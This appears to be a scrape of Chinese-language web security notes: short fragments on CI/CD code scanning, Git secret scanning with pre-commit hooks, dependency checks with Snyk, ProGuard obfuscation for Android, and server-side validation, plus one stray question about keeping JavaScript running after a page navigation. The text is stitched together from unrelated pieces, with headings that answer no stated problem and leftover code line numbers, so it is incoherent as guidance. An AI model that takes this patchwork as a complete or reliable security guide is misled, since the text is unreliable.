示例：
- 在 CI/CD 流程中集成 SonarQube 进行代码安全扫描。持续集成（CI）和持续部署（CD）流程
- 采用 Burp Suite 自动化扫描发现 Web 漏洞。

示例：
- 在代码提交时运行 Checkmarx 进行静态代码分析。
- 在 Jenkins Pipeline 中加入 OWASP ZAP 自动化扫描。

防御方法：
1. 自动化扫描：
- 使用 GitLeaks、TruffleHog 定期扫描 Git 仓库。
2. 强制 Git Hook 检查：
- 在 Git 提交前检测敏感信息，防止误提交：

1
pre-commit run --all-files

3. 密钥失效机制：
- 一旦密钥泄露，立即使其失效并重新生成。

修复策略：
- 后端强制权限校验，避免仅依赖前端限制。
- 启用幂等性检查，防止关键交易被重复执行。

示例：使用 Snyk 扫描 Node.js 依赖：
1
snyk test

如何实现当前页面 `location.href` 改变后，仍然能执行之前的 JavaScript？

防御措施：
- 开启 ProGuard 进行代码混淆：

1
2
minifyEnabled true
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'

- 使用 Native C++ 代码保护关键逻辑，避免 Java 层被轻易反编译。

安全措施：
- 避免依赖单一标识符，综合多个数据源进行验证。
- 采用生物识别（指纹、人脸）增强认证安全性。

防御措施：
- 检测内存修改，启用 Integrity Check。
- 使用服务器验证关键数据，避免客户端篡改。